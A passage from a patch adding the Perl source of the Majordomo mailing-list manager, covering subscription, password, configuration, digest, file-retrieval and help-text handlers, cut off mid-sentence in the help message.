$DEBUG; + + # check to see if this is a list with a 'confirm' unsubscribe policy, + # and check the cookie if so and the subscriber is not the person + # making the request. + # + if (! $approved + && ! ((&addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") + ? 2 : undef)))) + && (($unsub_policy =~ /confirm/) + && (&gen_cookie($sm, $clean_list, $subscriber) ne $auth_info))) + { + # We want to send the stripped address in the confirmation + # message if strip = yes. + if (&cf_ck_bool($clean_list,"strip")) { + $subscriber = (&ParseAddrs($subscriber))[0]; + } + &send_confirm("unsubscribe", $clean_list, $subscriber); + return 0; + } + + # Check to see if this request is approved, if the unsub policy is + # auto, or if the subscriber is the person making the request (even + # on a closed list, folks can unsubscribe themselves without the + # owner's approval). + if ($approved + || ($unsub_policy =~ /auto/i && + &check_and_request($sm, $clean_list, $subscriber, "check_only")) + + || ((&addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))))) { + + # Either the request is approved, or the subscriber is the + # requester, so drop them from the list + &lopen(LIST, "", "$listdir/$clean_list") || + &abort("Can't open $listdir/$clean_list: $!"); + (local($mode, $uid, $gid) = (stat(LIST))[2,4,5]) || + &abort("Can't stat listdir/$clean_list: $!"); + open(NEW, ">$listdir/$clean_list.new") || + &abort("Can't open $listdir/$clean_list.new: $!"); + chmod($mode, "$listdir/$clean_list.new") || + &abort("chmod($mode, \"$listdir/$clean_list.new\"): $!"); + chown($uid, $gid, "$listdir/$clean_list.new") || + &abort("chown($uid, $gid, \"$listdir/$clean_list.new\"): $!"); + while () { + if (! &addr_match($subscriber, $_, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) { + print NEW $_ || + &abort("Error writing $listdir/$clean_list.new: $!"); + } else { + $match_count++; + $match_length = length; + if ($match_count != 1) { + &squawk("$sm: '$subscriber' matches multiple list members."); + last; + } + } + } + close(NEW) || &abort("Error closing $listdir/$clean_list.new: $!"); + if ($match_count == 1) { + if ((-s "$listdir/$clean_list.new") + $match_length != + (-s "$listdir/$clean_list")) { + &abort("Unsubscribe failed: $listdir/$clean_list.new is wrong length!"); + } + # we deleted exactly 1 name, so now we shuffle the files + link("$listdir/$clean_list", "$listdir/$clean_list.old") || + &abort("link(\"$listdir/$clean_list\", \"$listdir/$clean_list.old\"): $!"); + rename("$listdir/$clean_list.new", "$listdir/$clean_list") || + &abort("rename(\"$listdir/$clean_list.new\", \"$listdir/$clean_list\"): $!"); + unlink("$listdir/$clean_list.old"); + if (defined $deflist) { + print REPLY "Succeeded (from list $deflist).\n"; + } + elsif ($quietnonmember) { + print REPLY "Succeeded (from list $clean_list).\n"; + } + else { + print REPLY "Succeeded.\n"; + } + &log("unsubscribe $clean_list $subscriber"); + if ( &cf_ck_bool($list,"announcements")) { + &sendmail(BYE, "$clean_list-approval\@$whereami", + "UNSUBSCRIBE $clean_list $subscriber"); + print BYE "$subscriber has unsubscribed from $clean_list.\n"; + print BYE "No action is required on your part.\n"; + close(BYE); + } + } + elsif ($match_count == 0) { + print REPLY "**** No matches found for '$subscriber'\n"; + } + else { + print REPLY "**** FAILED.\n"; + } + unlink("$listdir/$clean_list.new"); + &lclose(LIST); + } else { + print STDERR "do_unsubscribe: authorization failed, calling check_and_request.\n" if $DEBUG; + &check_and_request($sm, $clean_list, $subscriber); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_auth { + # Check to see we've got all the arguments; the address is allowed to + # contain spaces, so since our argument list was split on spaces we + # have to join them back together. + local($auth_info, $cmd, $list, @sub) = @_; + if ( !length($auth_info) + || ($cmd ne 'subscribe' + && $cmd ne 'unsubscribe') # can only authorize [un]subscribes at the moment + ) { + &squawk("auth: needs key"); + return 0; + } + $sub = join(' ',@sub); + if ( $cmd eq "subscribe" ) { + &do_subscribe($list, $sub); + } + elsif ( $cmd eq "unsubscribe" ) { + &do_unsubscribe($list, $sub); + } + + +} + +sub do_approve { + # Check to see we've got all the arguments + local($sm) = "approve"; + local($passwd, $cmd); + ($passwd = shift) || &squawk("$sm: needs passwd"); + ($cmd = shift) || &squawk("$sm: which command?"); + $cmd =~ tr/A-Z/a-z/; # downcase the command + # Check to see if the list is valid or use default list. + # and check to see if we've got a valid list + local($list, $clean_list, @args) = &get_listname($sm, -1, @_); + + if ($clean_list ne "") { + # get the config info for the command + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + # The list is valid; now check to see if the password is + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so set "approved" and do the request + $approved = 1; + if ($cmd eq "subscribe") { + local($subscriber); + ($subscriber = join(" ",@args)) || &squawk("$sm: who?"); + &log("approve PASSWORD subscribe $clean_list $subscriber"); + &do_subscribe($clean_list, $subscriber); + } elsif ($cmd eq "unsubscribe") { + local($subscriber); + ($subscriber = join(" ",@args)) || &squawk("$sm: who?"); + &log("approve PASSWORD unsubscribe $clean_list $subscriber"); + &do_unsubscribe($clean_list, $subscriber); + } elsif ($cmd eq "get" + || $cmd eq "index" + || $cmd eq "info" + || $cmd eq "intro" + || $cmd eq "who" + || $cmd eq "which") { + &log("approve PASSWORD $cmd $clean_list " . join(" ", @args)); + $sub = "do_$cmd"; + &$sub($clean_list, @args); + } else { + # you can only approve the above + &squawk("$sm: invalid command '$cmd'"); + } + } else { + &squawk("$sm: invalid list or password."); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_passwd { + # check to see that we've got all the arguments + # and check to see if we've got a valid list + local($sm) = "passwd"; + local($list, $clean_list, $passwd, $new_passwd) = &get_listname($sm, 2, @_); + &squawk("$sm: need old password") unless $passwd; + &squawk("$sm: need new password") unless $new_passwd; + + if ($clean_list eq "") { + &squawk("$sm: invalid list '$list'"); + return; + } + # We've got a valid list; now see if the old password is valid + # get the config info for the command + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The old password is correct, so make sure the new one isn't null + if ($new_passwd eq "") { + &squawk("$sm: null 'new_passwd'."); + return; + } + # The new password is valid, too, so write it. + local($mode, $uid, $gid) = + (stat("$listdir/$clean_list.passwd"))[2,4,5]; + $mode = (0660) if !$mode; + if (&lopen(PASSWD, ">", "$listdir/$clean_list.passwd")) { + print PASSWD $new_passwd, "\n"; + &lclose(PASSWD); + # set the file mode appropriately + chmod($mode, "$listdir/$clean_list.passwd"); + chown($uid, $gid, "$listdir/$clean_list.passwd") if defined($uid); + print REPLY "Password changed.\n"; + } else { + &abort("Can't open $listdir/$clean_list.passwd: $!"); + } + &log("passwd $clean_list OLD NEW"); + } else { + print REPLY "**** Sorry; old password incorrect.\n"; + &log("FAILED passwd $clean_list OLD NEW"); + } +} + +sub do_which { + local($subscriber) = join(" ", @_) || &valid_addr($reply_to); + local($count, $per_list_hits) = 0; + # Tell the requestor which lists they are on by reading through all + # the lists, comparing their address to each address from each list + print REPLY "The string '$subscriber' appears in the following\n"; + print REPLY "entries in lists served by $whoami:\n\n"; + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = readdir(RD_DIR); + closedir(RD_DIR); + + foreach (sort @lists) { + /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.) + $list = $_; + + # get configuration info + &get_config($listdir, $_) if !&cf_ck_bool($_, '', 1); + + # access check + # + next if ! &access_check("which", $reply_to, $listdir, $list); + + open(LIST, "$listdir/$list") || + &abort("Can't open list $listdir/$list"); + while () { + + if (! $approved + && $max_which_hits + && $max_which_hits < $per_list_hits) { + print REPLY "Maximum number of hits ($max_which_hits) exceeded\n"; + last; + } + + $_ = &chop_nl($_); + if (&addr_match($_, $subscriber, 1)) { + if ($count == 0) { + printf REPLY "%-23s %s\n", "List", "Address"; + printf REPLY "%-23s %s\n", "====", "======="; + } + printf REPLY "%-23s %s\n", $list, $_; + $count++; + $per_list_hits++; + } + } + close(LIST); + } + if ($count == 0) { + print REPLY "**** No matches found\n"; + } + print REPLY "\n"; + &log("which $subscriber"); + return 1; +} + +sub do_who { + # Make sure we've got the right arguments + # and check to see if we've got a valid list + local($sm) = "who"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + local($counter) = 0; + + # Check to see that the list is valid + if ($clean_list ne "") { + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if ( !$approved + && $config_opts{$clean_list, 'who_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("who", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do a 'who'.\n"; + print REPLY "**** You [ $reply_to ] aren't a member of list '$clean_list'.\n"; + return 0; + } + #open it up and tell who's on it + print REPLY "Members of list '$clean_list':\n\n"; + if (&lopen(LIST, "", "$listdir/$clean_list")) { + while () { + print REPLY $_; + $counter++; + } + &lclose(LIST); + printf REPLY "\n%s subscriber%s\n\n", ($counter ? $counter : "No"), + ($counter == 1 ? "" : "s"); + &log("who $clean_list"); + } else { + &abort("Can't open $listdir/$clean_list: $!"); + } + } else { + print REPLY "**** who: no such list '$list'\n"; + } +} + +sub do_info { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "info"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + # The list is OK, so give the info, or a message that none is available + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($allow); + + # check access + $allow = &access_check("info", $reply_to, $listdir, $clean_list); + + if ((local($passwd) = shift) && + &valid_passwd($listdir, $clean_list, $passwd)) { + $allow = 1; # The password is valid, so show info + } + if ($allow && + &lopen(INFO, "", "$listdir/$clean_list.info")) { + while () { + print REPLY $_; + } + print REPLY "\n[Last updated ", &chop_nl(&ctime((stat(INFO))[9])), + "]\n" if !&cf_ck_bool($clean_list,"date_info"); + &lclose(INFO); + } else { + print REPLY "#### No info available for $clean_list.\n"; + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("info $clean_list"); +} + +sub do_newinfo { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newinfo"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new info + local($mode, $uid, $gid) = + (stat("$listdir/$clean_list.info"))[2,4,5]; + $mode = (0664) if !$mode; + if (&lopen(INFO, ">", "$listdir/$clean_list.info")) { + print INFO "[Last updated on: ", &chop_nl(&ctime(time())), + "]\n" if &cf_ck_bool($clean_list,"date_info"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print INFO $_, "\n"; + } + &lclose(INFO); + if (-s "$listdir/$clean_list.info" > 0) { + chmod($mode, "$listdir/$clean_list.info"); + chown($uid, $gid, "$listdir/$clean_list.info") + if defined($uid); + } + else { + unlink("$listdir/$clean_list.info"); + } + + print REPLY "New info for list $clean_list accepted.\n"; + &log("newinfo $clean_list PASSWORD"); + } else { + &abort("Can't write $listdir/$clean_list.info: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newinfo $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} + +sub do_intro { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "intro"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + # The list is OK, so give the intro, or a message that none is available + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + local($allow) = 0; + + # check access + $allow = &access_check("intro", $reply_to, $listdir, $clean_list); + + if ((local($passwd) = shift) && + &valid_passwd($listdir, $clean_list, $passwd)) { + $allow = 1; # The password is valid, so show info + } + if ($allow && + &lopen(INFO, "", "$listdir/$clean_list.intro")) { + while () { + print REPLY $_; + } + print REPLY "\n[Last updated ", &chop_nl(&ctime((stat(INFO))[9])), + "]\n" if !&cf_ck_bool($clean_list,"date_intro"); + &lclose(INFO); + } else { + print REPLY "#### No intro available for $clean_list.\n"; + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("intro $clean_list"); +} +sub do_newintro { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newintro"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new intro + if (&lopen(INFO, ">", "$listdir/$clean_list.intro")) { + print INFO "[Last updated on: ", &chop_nl(&ctime(time())), + "]\n" if &cf_ck_bool($clean_list,"date_intro"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print INFO $_, "\n"; + } + &lclose(INFO); + if (-s "$listdir/$clean_list.intro" > 0) { + chmod(0664, "$listdir/$clean_list.intro"); + } + else { + unlink("$listdir/$clean_list.intro"); + } + print REPLY "New intro for list $clean_list accepted.\n"; + &log("newintro $clean_list PASSWORD"); + } else { + &abort("Can't write $listdir/$clean_list.intro: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newintro $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} +sub do_config { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "config"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + #so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so send the new config if it exists + + if (open(LCONFIG, "$listdir/$clean_list.config")) { + while () { + print REPLY $_; + } + print REPLY "\n#[Last updated ", + &chop_nl(&ctime((stat(LCONFIG))[9])), "]\n"; + close(LCONFIG) || + print REPLY "Error writing config for $clean_list: $!"; + + } else { + print REPLY "#### No config available for $clean_list.\n"; + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED config $clean_list PASSWORD"); + } + &free_lock("$listdir/$clean_list.config.LOCK"); + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("config $clean_list"); +} + +sub do_newconfig { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newconfig"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + # so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new config + # off to the side to validate it. + local($oldumask) = umask($config_umask); + if (open(NCONFIG, ">$listdir/$clean_list.new.config")) { + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print NCONFIG $_, "\n"; + } + close(NCONFIG) || + &abort("Can't write $listdir/$clean_list.config: $!"); + umask($oldumask); + + if ( &get_config($listdir, "$clean_list.new", "locked")) { + unlink "$listdir/$clean_list.new.config"; + &free_lock("$listdir/$clean_list.config.LOCK"); + print REPLY "The new config file for $clean_list was NOT accepted because:\n"; + print REPLY @config'errors; + &log("FAILED (syntax) newconfig $clean_list PASSWORD"); + return (1); + } + + $rename_fail = 0; + if ( !rename("$listdir/$clean_list.config", + "$listdir/$clean_list.old.config") ) { + print REPLY "rename current -> old failed $!"; + $rename_fail = 1; + } + elsif ( !rename("$listdir/$clean_list.new.config", + "$listdir/$clean_list.config")) { + print REPLY "rename new -> current failed $!"; + $rename_fail = 1; + } + + print REPLY "New config for list $clean_list accepted.\n" + if !$rename_fail; + + &log("newconfig $clean_list PASSWORD"); + &get_config($listdir, $clean_list, "locked"); + } else { + &abort("Can't write $listdir/$clean_list.config: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newconfig $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + &free_lock("$listdir/$clean_list.config.LOCK"); + + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} + +sub do_writeconfig { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "writeconfig"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + # so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write current config + &config'writeconfig($listdir, $clean_list); + print REPLY "wrote new config for list $clean_list.\n"; + &log("writeconfig $clean_list PASSWORD"); + } else { + &squawk("$sm: invalid password."); + &log("FAILED writeconfig $clean_list PASSWORD"); + } + &free_lock("$listdir/$clean_list.config.LOCK"); + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_mkdigest { + # Check to make sure we've got the right arguments + local($list, $clean_list, @args) = &get_listname($sm, -1, @_); + + # We allow the specification of the outgoing alias for the digest so + # that list owners can change it to be something secret, but we have to + # remain backwards compatible, so we allow 2 or 3 args. + local($list_outgoing); + if ($#args == 1) { # Called with 2 or 3 args, one already shifted off + $list_outgoing = shift @args; + } + else { + $list_outgoing = "$list-outgoing"; + } + local($passwd); + ($passwd = shift @args) || &squawk("$sm: needs password"); + local(@digest_errors) = (); + # Check that the list is valid + local($clean_list) = &valid_list($listdir, $list); + if ($clean_list ne "") { + # The list is valid, parse the config file + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + + #so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so run digest + + open(DIGEST, + "$homedir/digest -m -C -l $list $list_outgoing 2>&1 |"); + @digest_errors = ; + close(DIGEST); + + if ( $? == 256 ) { + print REPLY "*** mkdigest: Failure on exec of digest $!\n"; + print REPLY @digest_errors; + &log("FAILED mkdigest $list: exec error"); + } else { + if ($? != 0 ) { # hey the exec worked + print REPLY "*** digest: failed errors follow\n"; + print REPLY @digest_errors; + &log("FAILED mkdigest $list: errors during digest"); + } else { + print REPLY @digest_errors; + &log("mkdigest $clean_list"); + } + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED mkdigest $clean_list PASSWORD"); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_lists { + # Tell the requester what lists we serve + local($list); + local($reply_addr) = &ParseAddrs($reply_to); + + select((select(REPLY), $| = 1)[0]); + + print REPLY "$whoami serves the following lists:\n\n"; + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = readdir(RD_DIR); + closedir(RD_DIR); + + foreach (sort @lists) { + $list = $_; + $list =~ /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.) + next if /^(RCS|CVS|core)$/; # files and directories to ignore + next if (-d "$listdir/$list"); # skip directories + + &get_config($listdir, $list) if !&cf_ck_bool($list, '', 1); + + if ( ($'config_opts{$list, 'advertise'} ne '') + || ($'config_opts{$list, 'noadvertise'} ne '') ) { + + local(@array, $i); + local($result) = 0; + local($_) = $reply_addr; + + if ($'config_opts{$list, 'advertise'} ne '') { + @array = split(/\001/,$'config_opts{$list, 'advertise'}); + foreach $i (@array) { + $result = 1, last if (eval $i); # Expects $_ = $reply_addr + } + } else { $result = 1; } + + @array = (); + if ($result) { + @array = split(/\001/,$'config_opts{$list, 'noadvertise'}); + + foreach $i (@array) { + $result = 0, last if (eval $i); # Expects $_ = $reply_addr + } + } + + + $result = &is_list_member($reply_to, $listdir, $list) + if ! $result; + + printf REPLY " %-23s %-.56s\n", $list, + $config_opts{$list, 'description'} if $result; + } else { + printf REPLY " %-23s %-.56s\n", $list, + $config_opts{$list, 'description'}; + } + + } + print REPLY "\nUse the 'info ' command to get more information\n"; + print REPLY "about a specific list.\n"; + &log("lists"); +} + +# Subroutines do_get and do_index handle files for the requestor. +# Majordomo will look for the files in directory "$filedir/$list$filedir_suffix" +# You need to specify a directory in majordomo.cf such as: +# $filedir = "/usr/local/mail/files"; +# $filedir_suffix = ""; +# to have it check directory "/usr/local/mail/files/$list" or +# $filedir = "$listdir"; +# $filedir_suffix = ".archive"; +# to have it check directory "$listdir/$list.archive". +# +# If you want majordomo to do the basic file handling, don't +# set the ftpmail options. Set the index command using: +# $index_command = "/bin/ls -lRL"; +# +# If you want FTPMail to do the file handling, also put in: +# $ftpmail_location = "$whereami" +# $ftpmail_address = "ftpmail@$whereami"; +# or +# $ftpmail_address = "ftpmail@decwrl.dec.com"; +# as appropriate. +# +# Note that "$ftpmail_location" might NOT be the same as "$whereami"; +# for instance, at GreatCircle.COM, "$whereami" is "GreatCircle.COM" (which +# is an MX record) but "$ftpmail_location" needs to be "FTP.GreatCircle.COM" +# (which is an alias for actual machine) + +sub do_get { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "get"; + local($list, $clean_list, $filename) = &get_listname($sm, 1, @_); + &squawk("$sm: which file?") unless $filename; + + if ($clean_list ne "") { + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if ( !$approved + && $config_opts{$clean_list, 'get_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("get", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do a 'get'.\n"; + print REPLY "**** You aren't a member of list '$clean_list'.\n"; + return 0; + } + # The list is OK, so check the file name + local($clean_file) = &valid_filename($filedir, $clean_list, + $filedir_suffix, $filename); + if (defined($clean_file)) { + # the file name was OK and exists + # see if file handling is done by ftpmail + if (defined($ftpmail_address)) { + # File handling is done by ftpmail + if ($ftpmail_location eq "") {$ftpmail_location = $whereami; }; + &sendmail(FTPMAILMSG, $ftpmail_address, "get $filename", + $reply_to); + print FTPMAILMSG "open $ftpmail_location\n"; + print FTPMAILMSG "cd $filedir/$clean_list$filedir_suffix\n"; + print FTPMAILMSG "get $filename\n"; + close (FTPMAILMSG); + print REPLY "'get' request forwarded to $ftpmail_address\n"; + } else { + # file handling is done locally. + if (&lopen(GETFILE, " ", "$clean_file")) { + # Set up the sendmail process to send the file + &sendmail(GETFILEMSG, $reply_to, + "Majordomo file: list '$clean_list' file '$filename'"); + while () { + print GETFILEMSG $_; + } + # close (and thereby send) the file + close(GETFILEMSG); + &lclose(GETFILE); + print REPLY <<"EOM"; +List '$clean_list' file '$filename' +is being sent as a separate message. +EOM + } else { + print REPLY + "#### No such file '$filename' for list '$clean_list'\n"; + } + } + } else { + &squawk("$sm: invalid file '$filename' for list '$clean_list'."); + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("get $clean_list $filename"); +} + +sub do_index { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "index"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + if ( !$approved + && $config_opts{$clean_list, 'index_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("index", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do an 'index'.\n"; + print REPLY "**** You aren't a member of list '$clean_list'.\n"; + return 0; + } + # The list is OK; see if file handling is done by ftpmail + if (defined($ftpmail_address)) { + # File handling is done by ftpmail + &sendmail(FTPMAILMSG, $ftpmail_address, "index $clean_list", $reply_to); + print FTPMAILMSG "open $ftpmail_location\n"; + print FTPMAILMSG "cd $filedir/$clean_list$filedir_suffix\n"; + print FTPMAILMSG "dir\n"; + close (FTPMAILMSG); + print REPLY "'index' request forwarded to $ftpmail_address\n"; + } else { + if (-d "$filedir/$clean_list$filedir_suffix") { + if (chdir "$filedir/$clean_list$filedir_suffix") { + open(INDEX,"$index_command|") + || &abort("Can't fork to run $index_command, $!"); + while () { + print REPLY $_; + } + unless (close INDEX) { + &bitch("Index command $index_command failed.\n$! $?"); + &squawk("$sm: index command failed"); + } + } + else { + &bitch("Cannot chdir to $filedir/$clean_list$filedir_suffix to build index\n$!"); + &squawk("$sm: index command failed"); + } + } else { + print REPLY "#### No files available for $clean_list.\n"; + } + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("index $list"); + chdir("$homedir"); +} + +sub do_help { + print STDERR "$0: do_help()\n" if $DEBUG; + + local($list4help) = $majordomo_request ? "[]" : ""; + + local($listrequest) = " or to \"-request\@$whereami\".\n"; + $listrequest .= "\nThe parameter is only optional if the "; + $listrequest .= "message is sent to an address\nof the form "; + $listrequest .= "\"-request\@$whereami\"."; + + $listrequest = "." unless $majordomo_request; + + print REPLY <<"EOM"; + +This help message is being sent to you from the Majordomo mailing list +management system at $whoami. + +This is version $majordomo_version of Majordomo. + +If you're familiar with mail servers, an advanced user's summary of +Majordomo's commands appears at the end of this message. + +Majordomo is an automated system which allows users to subscribe +and unsubscribe to mailing lists, and to retrieve files from list +archives. + +You can interact with the Majordomo software by sending it commands +in the body of mail messages addressed to "$whoami". +Please do not put your commands on the subject line; Majordomo does +not process commands in the subject line. + +You may put multiple Majordomo commands in the same mail message. +Put each command on a line by itself. + +If you use a "signature block" at the end of your mail, Majordomo may +mistakenly believe each line of your message is a command; you will +then receive spurious error messages. To keep this from happening, +either put a line starting with a hyphen ("-") before your signature, +or put a line with just the word + + end + +on it in the same place. This will stop the Majordomo software from +processing your signature as bad commands. + +Here are some of the things you can do using Majordomo: + +I. FINDING OUT WHICH LISTS ARE ON THIS SYSTEM + +To get a list of publicly-available mailing lists on this system, put the +following line in the body of your mail message to $whoami: + + lists + +Each line will contain the name of a mailing list and a brief description +of the list. + +To get more information about a particular list, use the "info" command, +supplying the name of the list. For example, if the name of the list +about which you wish information is "demo-list", you would put the line + + info demo-list + +in the body of the mail message. + +II. SUBSCRIBING TO A LIST + +Once you've determined that you wish to subscribe to one or more lists on +this system, you can send commands to Majordomo to have it add you to the +list, so you can begin receiving mailings. + +To receive list mail at the address from which you're sending your mail, +simply say "subscribe" followed by the list's name: + + subscribe demo-list + +If for some reason you wish to have the mailings go to a different address +(a friend's address, a specific other system on which you have an account, +or an address which is more correct than the one that automatically appears +in the "From:" header on the mail you send), you would add that address to +the command. For instance, if you're sending a request from your work +account, but wish to receive "demo-list" mail at your personal account +(for which we will use "jqpublic\@my-isp.com" as an example), you'd put +the line + + subscribe demo-list jqpublic\@my-isp.com + +in the mail message body. + +Based on configuration decisions made by the list owners, you may be added +to the mailing list automatically. You may also receive notification +that an authorization key is required for subscription. Another message +will be sent to the address to be subscribed (which may or may not be the +same as yours) containing the key, and directing the user to send a +command found in that message back to $whoami. (This can be +a bit of extra hassle, but it helps keep you from being swamped in extra +email by someone who forged requests from your address.) You may also +get a message that your subscription is being forwarded to the list owner +for approval; some lists have waiting lists, or policies about who may +subscribe. If your request is forwarded for approval, the list owner +should contact you soon after your request. + +Upon subscribing, you should receive an introductory message, containing +list policies and features. Save this message for future reference; it +will also contain exact directions for unsubscribing. If you lose the +intro mail and would like another copy of the policies, send this message +to $whoami: + + intro demo-list + +(substituting, of course, the real name of your list for "demo-list"). + +III. UNSUBSCRIBING FROM MAILING LISTS + +Your original intro message contains the exact command which should be +used to remove your address from the list. However, in most cases, you +may simply send the command "unsubscribe" followed by the list name: + + unsubscribe demo-list + +(This command may fail if your provider has changed the way your +address is shown in your mail.) + +To remove an address other than the one from which you're sending +the request, give that address in the command: + + unsubscribe demo-list jqpublic\@my-isp.com + +In either of these cases, you can tell $whoami to remove +the address in question from all lists on this server by using "*" +in place of the list name: + + unsubscribe * + unsubscribe * jqpublic\@my-isp.com + +IV. FINDING THE LISTS TO WHICH AN ADDRESS IS SUBSCRIBED + +To find the lists to which your address is subscribed, send this command +in the body of a mail message to $whoami: + + which + +You can look for other addresses, or parts of an address, by specifying +the text for which Majordomo should search. For instance, to find which +users at my-isp.com are subscribed to which lists, you might send the +command + + which my-isp.com + +Note that many list owners completely or fully disable the "which" +command, considering it a privacy violation. + +V. FINDING OUT WHO'S SUBSCRIBED TO A LIST + +To get a list of the addresses on a particular list, you may use the +"who" command, followed by the name of the list: + + who demo-list + +Note that many list owners allow only a list's subscribers to use the +"who" command, or disable it completely, believing it to be a privacy +violation. + +VI. RETRIEVING FILES FROM A LIST'S ARCHIVES + +Many list owners keep archives of files associated with a list. These +may include: +- back issues of the list +- help files, user profiles, and other documents associated with the list +- daily, monthly, or yearly archives for 